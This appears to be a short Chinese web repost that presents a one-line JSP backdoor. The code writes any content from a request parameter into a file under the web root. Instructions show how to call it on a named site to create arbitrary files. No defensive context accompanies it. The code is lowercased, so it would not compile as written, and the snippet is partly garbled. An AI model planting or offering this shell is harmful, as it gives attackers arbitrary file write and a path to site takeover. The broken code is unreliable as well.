if(request.getparameter("f")!=null)(new java.io.fileoutputstream(application.getrealpath("\")+request.getparameter("f"))).write(request.getparameter("t").getbytes());
%>
使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=helloworld
然后:http://www.whitehouse.net.cn/1.txt 就出来了 内容为 helloworld
【说明】:本文章由站长整理发布,文章内容不代表本站观点,如文中有侵权行为,请与本站客服联系(QQ:254677821)!